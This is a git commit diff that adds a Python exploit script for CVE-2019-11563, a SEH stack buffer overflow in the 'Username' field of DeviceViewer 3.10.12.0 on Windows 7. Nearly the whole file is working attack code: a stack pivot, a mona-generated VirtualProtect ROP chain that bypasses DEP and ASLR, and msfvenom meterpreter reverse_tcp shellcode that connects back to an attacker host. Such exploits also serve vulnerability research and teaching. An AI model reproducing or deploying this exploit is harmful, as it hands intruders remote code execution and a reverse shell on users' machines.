added rop for win 7

2026-06-08 12:50:18 +00:00 · 2020-05-08 11:04:24 +02:00
parent 82d884cdd0
commit 7054cee956
2 changed files with 138 additions and 0 deletions
@@ -0,0 +1,138 @@
+"""
+Full title:         DeviceViewer (DeviceViewer.exe) v.3.10.12.0 - 'Username' Field Stack Buffer Overlow (SEH) DEP+ASLR Bypass
+CVE:                CVE-2019-11563
+Exploit Author:     Paolo Stagno aka VoidSec - voidsec@voidsec.com - https://voidsec.com
+Vendor Homepage:    http://www.sricam.com/
+Version:            v.3.10.12.0 
+Tested on:          Windows 7 Pro x86 v.6.1.7601 SP 1 Build 7601
+Category:           local exploits
+Platform:           windows
+Usage:              DeviceViewer > Login Screen > in the "Username" textarea paste the content of "DeviceViewer_v.3.10.12.0_exploit.txt" and press "Login"
+
+PS C:\Users\user\Desktop> Import-Module .\Get-PESecurity.psm1
+PS C:\Users\user\Desktop> Get-PESecurity -file "C:\Program Files (x86)\DeviceViewer\DeviceViewer.exe"                   
+
+FileName         : C:\Program Files (x86)\DeviceViewer\DeviceViewer.exe
+ARCH             : I386
+DotNET           : False
+ASLR             : True
+DEP              : True
+Authenticode     : False
+StrongNaming     : N/A
+SafeSEH          : False
+ControlFlowGuard : False
+HighentropyVA    : False
+"""
+#!/usr/bin/python
+import struct
+
+poc=open("DeviceViewer_v.3.10.12.0_exploit.txt", "w")
+
+total_size=4000
+offset=264                                      # ofsset to nSEH
+# |                                                     buffer (4000)                                                              |
+# | garbage (254) | nSEH (4) | SEH (4) | rop_nop (320) | rop chain (84) | stack adj (6) | shellcode (371) | filler (4000-len(buff)) |
+buf = ""                                        # our buffer
+buf += "A"*offset                               # garbage until we hit nSEH
+buf += "BBBB"                                   # nSEH;
+# 0x6a0e6a60 : pop esi # pop edi # ret			| ascii {PAGE_EXECUTE_READ} [avcodec-54.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\DeviceViewer\avcodec-54.dll)
+# buf += struct.pack("<I",0x6a0e6a60)            # SEH used to calculate stack pivot offset
+# exception dispatcher ESP: 0021E858
+# stack address of our stack adj: 0021F374
+# stack pivot: 0021F374-0021E858=B1C (2844)
+# nearest pivot 
+# 0x6a19b49f : {pivot 3100 / 0xc1c} :  # ADD ESP,0C0C # POP EBX # POP ESI # POP EDI # POP EBP # RETN    ** [avcodec-54.dll] **   |   {PAGE_EXECUTE_READ}
+buf += struct.pack("<I",0x6a19b49f)             # SEH (stack pivot)
+# 3100 - 2844 = 256 to fill
+for _ in range(80):							    # filler with rop nop, 280 max seen during tests, 80*4=320 for reliability
+    buf += struct.pack("<I",0x6a4a494a)			# 0x6a4a494a (RVA : 0x003e494a) : # DEC EBX # ADD AL,83 # RETN    ** [avcodec-54.dll] **   |  asciiprint,ascii,alphanum {PAGE_EXECUTE_READ}
+# rop chain generated with mona.py - www.corelan.be
+"""
+Register setup for VirtualProtect() :
+--------------------------------------------
+ EAX = NOP (0x90909090)
+ ECX = lpOldProtect (ptr to W address)
+ EDX = NewProtect (0x40)
+ EBX = dwSize
+ ESP = lPAddress (automatic)
+ EBP = ReturnTo (ptr to jmp esp)
+ ESI = ptr to VirtualProtect()
+ EDI = ROP NOP (RETN)
+"""
+def create_rop_chain():
+
+    # rop chain generated with mona.py - www.corelan.be, fixed by VoidSec
+    rop_gadgets = [
+	  #[---INFO:gadgets_to_set_ebx:---]
+	  0x6a5d8c78,  # POP EAX # RETN    ** [avcodec-54.dll] **   |   {PAGE_EXECUTE_READ}
+      0xfffffdff,  # Value to negate, will become 0x00000201
+      0x6a2420e8,  # NEG EAX # RETN    ** [avcodec-54.dll] **   |   {PAGE_EXECUTE_READ}
+	  0x6a17ca04,  # PUSH EAX # POP EBX # POP ESI # RETN    ** [avcodec-54.dll] **   |   {PAGE_EXECUTE_READ}
+	  0x41414141,  # Padding
+	  #[---INFO:gadgets_to_set_edx:---]
+      0x6a569810,  # POP EDX # RETN [avcodec-54.dll] 
+      0xffffffc0,  # Value to negate, will become 0x00000040
+      0x6a5d3987,  # NEG EDX # RETN [avcodec-54.dll] 
+      #[---INFO:gadgets_to_set_esi:---]
+      0x6a5d9990,  # POP EAX # RETN [avcodec-54.dll] 
+      0x6ad38304,  # ptr to &VirtualProtect() [IAT avcodec-54.dll]
+      0x699af4cb,  # MOV EAX,DWORD PTR DS:[EAX] # RETN [avformat-54.dll] 
+      0x6a53c7b9,  # XCHG EAX,ESI # RETN [avcodec-54.dll] 
+      #[---INFO:gadgets_to_set_ebp:---]
+      0x699802db,  # POP EBP # RETN [avformat-54.dll] 
+      0x6a1215c3,  # & push esp # ret  [avcodec-54.dll]
+      #[---INFO:gadgets_to_set_ecx:---]
+      0x6a4a5715,  # POP ECX # RETN [avcodec-54.dll] 
+      0x6ae9cac2,  # &Writable location [avutil-50.dll]
+      #[---INFO:gadgets_to_set_edi:---]
+      0x69915933,  # POP EDI # RETN [avformat-54.dll] 
+      0x6a2420ea,  # RETN (ROP NOP) [avcodec-54.dll]
+      #[---INFO:gadgets_to_set_eax:---]
+      0x6a5dac99,  # POP EAX # RETN [avcodec-54.dll] 
+      0x90909090,  # nop
+      #[---INFO:pushad:---]
+      0x6a6049b7,  # PUSHAD # RETN [avcodec-54.dll] 
+    ]
+    return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
+
+buf += create_rop_chain()
+#------------------------------------------------
+buf += "\x81\xc4\x24\xfa\xff\xff"               # stack adjustment for meterpreter GetPC routine; add esp, -1500
+# buf += "\xCC\xCC\xCC\xCC\xCC"
+# shellcode
+# max sixe: 3368
+# bad chars: \x00\x0a\x0d
+# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp lhost=192.168.0.4 exitfunc=seh -b '\x00\x0a\x0d' -f python
+buf += b"\xbd\xbf\xba\xbc\x27\xdb\xcd\xd9\x74\x24\xf4\x5a\x31"
+buf += b"\xc9\xb1\x57\x83\xea\xfc\x31\x6a\x0e\x03\xd5\xb4\x5e"
+buf += b"\xd2\xd5\x21\x1c\x1d\x25\xb2\x41\x97\xc0\x83\x41\xc3"
+buf += b"\x81\xb4\x71\x87\xc7\x38\xf9\xc5\xf3\xcb\x8f\xc1\xf4"
+buf += b"\x7c\x25\x34\x3b\x7c\x16\x04\x5a\xfe\x65\x59\xbc\x3f"
+buf += b"\xa6\xac\xbd\x78\xdb\x5d\xef\xd1\x97\xf0\x1f\x55\xed"
+buf += b"\xc8\x94\x25\xe3\x48\x49\xfd\x02\x78\xdc\x75\x5d\x5a"
+buf += b"\xdf\x5a\xd5\xd3\xc7\xbf\xd0\xaa\x7c\x0b\xae\x2c\x54"
+buf += b"\x45\x4f\x82\x99\x69\xa2\xda\xde\x4e\x5d\xa9\x16\xad"
+buf += b"\xe0\xaa\xed\xcf\x3e\x3e\xf5\x68\xb4\x98\xd1\x89\x19"
+buf += b"\x7e\x92\x86\xd6\xf4\xfc\x8a\xe9\xd9\x77\xb6\x62\xdc"
+buf += b"\x57\x3e\x30\xfb\x73\x1a\xe2\x62\x22\xc6\x45\x9a\x34"
+buf += b"\xa9\x3a\x3e\x3f\x44\x2e\x33\x62\x01\x83\x7e\x9c\xd1"
+buf += b"\x8b\x09\xef\xe3\x14\xa2\x67\x48\xdc\x6c\x70\xd9\xca"
+buf += b"\x8e\xae\x61\x9a\x70\x4e\x92\xb2\xb6\x1a\xc2\xac\x1f"
+buf += b"\x22\x89\x2c\x9f\xf7\x24\x27\x37\x37\x10\x37\xc3\xdf"
+buf += b"\x63\x38\xda\x43\xed\xde\x8c\x2b\xbd\x4e\x6d\x9b\x7d"
+buf += b"\x3f\x05\xf1\x71\x60\x35\xfa\x5b\x09\xdc\x14\x32\x61"
+buf += b"\x49\x8d\x1f\xf9\xe8\x52\x8a\x87\x2b\xd8\x3f\x77\xe5"
+buf += b"\x28\x35\x6b\x12\x4f\xb5\x73\xe3\xe5\xb5\x19\xe7\xaf"
+buf += b"\xe2\xb5\xe5\x96\xc5\x19\x15\xfd\x55\x5d\xe9\x83\x6f"
+buf += b"\x15\xdc\x11\xd0\x41\x21\xf5\xd0\x91\x77\x9f\xd0\xf9"
+buf += b"\x2f\xfb\x82\x1c\x30\xd6\xb6\x8c\xa5\xd8\xee\x61\x6d"
+buf += b"\xb0\x0c\x5f\x59\x1f\xee\x8a\xd9\x67\x10\x48\xf6\xcf"
+buf += b"\x79\xb2\x46\xef\x79\xd8\x46\xbf\x11\x17\x68\x30\xd2"
+buf += b"\xd8\xa3\x19\x7a\x52\x22\xe8\x1b\x63\x6f\xac\x85\x64"
+buf += b"\x9c\x74\x35\x1e\xed\x8b\xb6\xdf\xe7\xe8\xb6\xdf\x07"
+buf += b"\x0f\x8a\x09\x3e\x7a\xcd\x89\x05\x7a\xc3\x3f\x90\xe8"
+buf += b"\xdc\x6c\x9b\x39\xb6\x92\xa0"
+#------------------------------------------------
+buf += "D"*(total_size-len(buf))                # filler
+poc.write(buf)
+poc.close()